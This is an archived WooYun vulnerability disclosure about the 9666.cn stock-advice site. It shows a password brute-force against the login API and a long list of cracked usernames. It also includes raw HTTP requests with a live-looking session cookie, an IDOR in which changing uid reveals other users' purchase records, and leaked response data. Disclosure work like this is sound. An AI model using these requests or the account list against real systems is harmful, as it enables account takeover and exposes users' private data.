乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-09-24： 细节已通知厂商并且等待厂商处理中 2015-09-24： 厂商已经确认，细节仅向厂商公开 2015-10-04： 细节向核心白帽子及相关领域专家公开 2015-10-14： 细节向普通白帽子公开 2015-10-24： 细节向实习白帽子公开 2015-11-08： 细节向公众公开
所有用户购买记录泄漏免费查看付费内容
1.可爆破
POST /liveservice HTTP/1.1Host: mobileservice.9666.cnAccept: */*Accept-Encoding: gzip, deflateContent-Length: 325Content-Type: application/x-www-form-urlencodedAccept-Language: zh-Hans;q=1Connection: closeUser-Agent: CowBoy/1.2.1 (iPhone; iOS 8.4; Scale/2.00)<?xml version="1.0" encoding="UTF-8"?><request><version>cowboy-iOS-1.2.1.1</version><imei></imei><imsi></imsi><model>iPhone 5 (A1429/A1442)</model><sdk>8.4</sdk><channel>App Store</channel><validId></validId><method>login</method><username>wanghaiyang</username><password>dc483e80a7a0bd9ef71d8cf973673924</password></request>
密码是md5加密的 基本没啥用我用常用用户名+a123456成功爆破
其实显示为411的 也是可以登陆的 只不过的时候需要要修改密码然后用123456撞下 成功一大堆
zhanghuazhangmingzhangfengwangyuwangnawangyiyanghuazhangleileizhoujingxufengzhaomingxuhuiguoqiangzhangbingliuliangzhangqinchenjianhuayangfengzhangliliwangyuzhangfengfengtaowangconglihaitaochenbinyangpingwangpengfeiyangpinglidongmeiwanghailongchenjianguozhanghaibozhangleileizhangsongzhangbinglizhengwanghuxuhuizhanghuliuwenyanggangzhangjianweiwangkanghuangpengzhangjunjiezhutaoyangshuaixufengzhangjianmingzhengjieheleitianweidupengzhangliliwuhaoyangsenliuxiaomingchenzhuofengchaoyangxiazhangqinzhangqizhoujinglishenglinqiangliuguoqiangtangminzhoubingzhangxiuyingxiehuizhangyumeizhangyuhuaxuyangxuyangwangkezhangfengwangxiaoxiahudanzhangkexufengbaijieheleizhengjiewangshenglihuanghaiyansongdanwangyuyaoweizhanglinlinliguopingzhangweiweizhangminglijiyupengxuyanglixiuyingzhangxiaolonglinhuawangyalishandingjianyangfenglihongjunhuangmeizhangquanpanleihuangzhiqiangmaruilizhengzhangleileitangjingzhangxiaoweisonghuizhangxiaoyuguojianjunliumenglizhengmalanwangyilichuangzhangxiaolongwangyiliuliuheleiwangxiumeizhangmingzhangkewangyanlinglifenxiaojingwangcuifanghuaxuhuihuyingzhengyanwangkezhengdanzhaohaidonghuiwangyiwangliminzhangxiaobolizhipenglishaohuazhangleileiheleiwangyanhuazhuqingguojianhuazhengyanbaijingyangzheqintaolipengchengwangxizhangdazhanghaibinxuejunyupinglindanwangyuweichaozhangxiaoleiwuxuzhangxiaoleihoujiezhangqinsongliangxuhaifengwangxiaojingxuanwanghuwangzhihongwangliguozhangjianwenfengjianzhoubingliyanpingzhaoxingchenmengsunjianpingzhangfenzhangyuhongliuxiaolizhangxinyuyangyuejinzhexudandanzhouchengdengjiechenmengfenghuafangjingbaijiewangzhihongxuepengzhangquanchenweiqianghuangruitanweiliyuzhenzhangquanzhuhailiuyongjunliuyunlongzhangleileipanleixuyangwangxianshengdengboliubaolixiaoliliaiguohuyingzhoulinglingzhangleileichenranqianjiangzhangshijieliuxiaomingyanglihuashenmingrenyichengliwangyizhangguangmingwangkezhanghailinwanghongyingxiajiehekaizhangweihongxumengzhangzhendonghanzhiqiangzhangxiaoleizhangleileizhouxingmajunjieliumengzhangzhaoyangyaolicaoningbaijingfuleichentingsuhongzhangxiaoweilibinbinyanghuazhanglinlinxuejingzhangleileihouminliyongjiezhangyalizhangkezhangxiulingjiangyanghuyunleibozhangxiaobozhaojianweiwangzhixinzhangcaiyunyaolizhangxiaoleihuxinheleidongnachenglizhangfengwangyongfengzhaolihuahuangshanshanwangjinyuliumengxuzhongyangshengpanleihuyingzhuqingleibozhangyufengliuxiaolipenglingwangchanglixiaolichenqianzhangyufengtangminzhangjianchenghuangruiliwenfengleibohouyongxuhuimaruiyupingwangzhihuizengjieheleifuminliuxiaobingwangjianchunyupengzhaoxingzhangleileizhanghuwangzhihuichenghongwangxifuleiwuhaixiaguolilizhangweiweizhangleileifanrongweilingzhoujingliuxiaoliangxufenglibowenyinyonglihongjunzhanglilisuhangchenbinlijixieningwangwenwenzhangfengliuhailinmahuaguqiangwangchunyingwangyayangyueyangyuewangxiwangxuedongliguirongwuzhijunliupengchengzhuhongweiyangfengwanqiangwangjinhuilindongzhangmingxingzhengyanwangliminzhouxingligaofengdonghuizhangyinlishengchenguiyingliyanpingheleiyubingefengyupingchenpanyaojianhuazhanghuaweiliwenxuemadingleiboyangwenjunlishanzhangmingjiexiaoxiaxufengwangxiangyuxumengwangliminleiboduyanfenglingzhangweiweizhoushengchenmengxufengwangwenfengyangfenglixiaolishenbingwuwenjieheleizhangqinlilixiazhaolijunluolanzhuqingyuanyiliuxiuhuazhangqiqiaofengzhouzhenfengjianlixixuyangzhangyufengzhangleileixiezhiqiangwanghailingduyanliumiaolisongtaoyupingliuxiaolixiongchaoleibofuleidengjieyudandanliuxiqinqinguqiangzhangweiweixuhaifengzhangxiaoleixuwenlongyubinliujianbingwangjingbomaxiaomingzhouchengliuwenwenchenzhizhongchenxiuwangyilishengzhanghuadingjianxiongjingxuhuiduanranliubaohuazhaolijunzhangxiaoleimadayanping
用111111也成功一堆 我就不贴了登陆一下看看可越权查看 交易明细
GET /?callback=jsonp1443080683664&_=1443087286256&uid=wanghaiyang&cookie=C3B44828C3B55FC39C030FC393C2B9C3AEC393C2AD3D3060C28868144A3BC3BEC3B35F62 HTTP/1.1Host: wwwn.9666.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0Accept: */*Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://product.9666.cn/order/toMyOrder/Cookie: cowboy_website=e350d0e3-c749-4df5-919e-137142a3112e; musicStatus=on; __utma=236883550.1366124229.1443078785.1443078785.1443078785.1; __utmc=236883550; __utmz=236883550.1443078785.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); haoshengyin=1; cowboy_temp=""; cowboy_login=C3B44828C3B55FC39C030FC393C2B9C3AEC393C2AD3D3060C28868144A3BC3BEC3B35F62; cowboy_user_name=wanghaiyang; cowboy_login_imply=C3B44828C3B55FC39C030FC393C2B9C3AEC393C2AD3D3060C28868144A3BC3BEC3B35F62; cowboy_nick_name=77696e3838383838; cowboy_latest_login_time=1443080678Connection: keep-alive
我burp跑下看看只要修改uid 即可看到别人的购买记录
收费东西免费看
jsonp1443080683667({"success":true,"data":[{"type":"MY_MESSAGE","typeName":"站内信","content":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a target=\"_blank\" href=\"http://live.9666.cn/165/baibaoxiang/15696\">点击查看</a>","timeStamp":1442447939316,"senderName":"9666","senderNickName":"牛仔小助手","userName":"wanghaiyang","pid":19704305,"link":"http://www.9666.cn/message/myMessage.action","briefTitle":"给您发了信件","shortContent":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a ..."},{"type":"MY_MESSAGE","typeName":"站内信","content":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a target=\"_blank\" href=\"http://live.9666.cn/165/baibaoxiang/15696\">点击查看</a>","timeStamp":1442299977687,"senderName":"9666","senderNickName":"牛仔小助手","userName":"wanghaiyang","pid":19653388,"link":"http://www.9666.cn/message/myMessage.action","briefTitle":"给您发了信件","shortContent":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a ..."},{"type":"MY_MESSAGE","typeName":"站内信","content":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a target=\"_blank\" href=\"http://live.9666.cn/165/baibaoxiang/15696\">点击查看</a>","timeStamp":1441715902178,"senderName":"9666","senderNickName":"牛仔小助手","userName":"wanghaiyang","pid":19426269,"link":"http://www.9666.cn/message/myMessage.action","briefTitle":"给您发了信件","shortContent":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a ..."},{"type":"MY_MESSAGE","typeName":"站内信","content":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a target=\"_blank\" href=\"http://live.9666.cn/165/baibaoxiang/15696\">点击查看</a>","timeStamp":1441605350196,"senderName":"9666","senderNickName":"牛仔小助手","userName":"wanghaiyang","pid":19379308,"link":"http://www.9666.cn/message/myMessage.action","briefTitle":"给您发了信件","shortContent":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a ..."},{"type":"MY_MESSAGE","typeName":"站内信","content":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a target=\"_blank\" href=\"http://live.9666.cn/165/baibaoxiang/15696\">点击查看</a>","timeStamp":1441590721067,"senderName":"9666","senderNickName":"牛仔小助手","userName":"wanghaiyang","pid":19363916,"link":"http://www.9666.cn/message/myMessage.action","briefTitle":"给您发了信件","shortContent":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a ..."},{"type":"MY_MESSAGE","typeName":"站内信","content":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a target=\"_blank\" href=\"http://live.9666.cn/165/baibaoxiang/15696\">点击查看</a>","timeStamp":1441588464063,"senderName":"9666","senderNickName":"牛仔小助手","userName":"wanghaiyang","pid":19353854,"link":"http://www.9666.cn/message/myMessage.action","briefTitle":"给您发了信件","shortContent":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a ..."},{"type":"MY_MESSAGE","typeName":"站内信","content":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a target=\"_blank\" href=\"http://live.9666.cn/165/baibaoxiang/15696\">点击查看</a>","timeStamp":1441176904337,"senderName":"9666","senderNickName":"牛仔小助手","userName":"wanghaiyang","pid":19326290,"link":"http://www.9666.cn/message/myMessage.action","briefTitle":"给您发了信件","shortContent":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a ..."},{"type":"MY_MESSAGE","typeName":"站内信","content":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a target=\"_blank\" href=\"http://live.9666.cn/165/baibaoxiang/15696\">点击查看</a>","timeStamp":1441175697188,"senderName":"9666","senderNickName":"牛仔小助手","userName":"wanghaiyang","pid":19324111,"link":"http://www.9666.cn/message/myMessage.action","briefTitle":"给您发了信件","shortContent":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a ..."},{"type":"MY_MESSAGE","typeName":"站内信","content":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a target=\"_blank\" href=\"http://live.9666.cn/165/baibaoxiang/15696\">点击查看</a>","timeStamp":1441167752628,"senderName":"9666","senderNickName":"牛仔小助手","userName":"wanghaiyang","pid":19320896,"link":"http://www.9666.cn/message/myMessage.action","briefTitle":"给您发了信件","shortContent":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a ..."},{"type":"MY_MESSAGE","typeName":"站内信","content":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a target=\"_blank\" href=\"http://live.9666.cn/165/baibaoxiang/15696\">点击查看</a>","timeStamp":1441156353751,"senderName":"9666","senderNickName":"牛仔小助手","userName":"wanghaiyang","pid":19303575,"link":"http://www.9666.cn/message/myMessage.action","briefTitle":"给您发了信件","shortContent":"您购买的\"8月超跌股专题包月百室箱\"百宝箱有追加内容，<a ..."},{"type":"GROUP_MESSAGE","typeName":"站方资讯","content":"牛仔网风险提示：谨防假冒诈骗","timeStamp":1359360105947,"pid":78,"link":"http://www.9666.cn/message/myMessage.action?type=groupMsg","briefTitle":"牛仔网 发来站方资讯","shortContent":"牛仔网风险提示：谨防假冒诈骗"},{"type":"GROUP_MESSAGE","typeName":"站方资讯","content":"股民学院课程预告与精彩回放！--随时随地学！","timeStamp":1353074660381,"pid":59,"link":"http://www.9666.cn/message/myMessage.action?type=groupMsg","briefTitle":"牛仔网 发来站方资讯","shortContent":"股民学院课程预告与精彩回放！--随时随地学！"},{"type":"GROUP_MESSAGE","typeName":"站方资讯","content":"牛仔真实盘","timeStamp":1368848172901,"pid":95,"link":"http://www.9666.cn/message/myMessage.action?type=groupMsg","briefTitle":"牛仔网 发来站方资讯","shortContent":"牛仔真实盘"},{"type":"GROUP_MESSAGE","typeName":"站方资讯","content":"无论何种行情 选股不再栽跟头","timeStamp":1358833694650,"pid":77,"link":"http://www.9666.cn/message/myMessage.action?type=groupMsg","briefTitle":"牛仔网 发来站方资讯","shortContent":"无论何种行情 选股不再栽跟头"},{"type":"GROUP_MESSAGE","typeName":"站方资讯","content":"大盘绞杀期 空观望不如学习","timeStamp":1354010119906,"pid":65,"link":"http://www.9666.cn/message/myMessage.action?type=groupMsg","briefTitle":"牛仔网 发来站方资讯","shortContent":"大盘绞杀期 空观望不如学习"}]})
加验证码 修改逻辑
危害等级：高
漏洞Rank：20
确认时间：2015-09-24 18:03
感谢提交
暂无
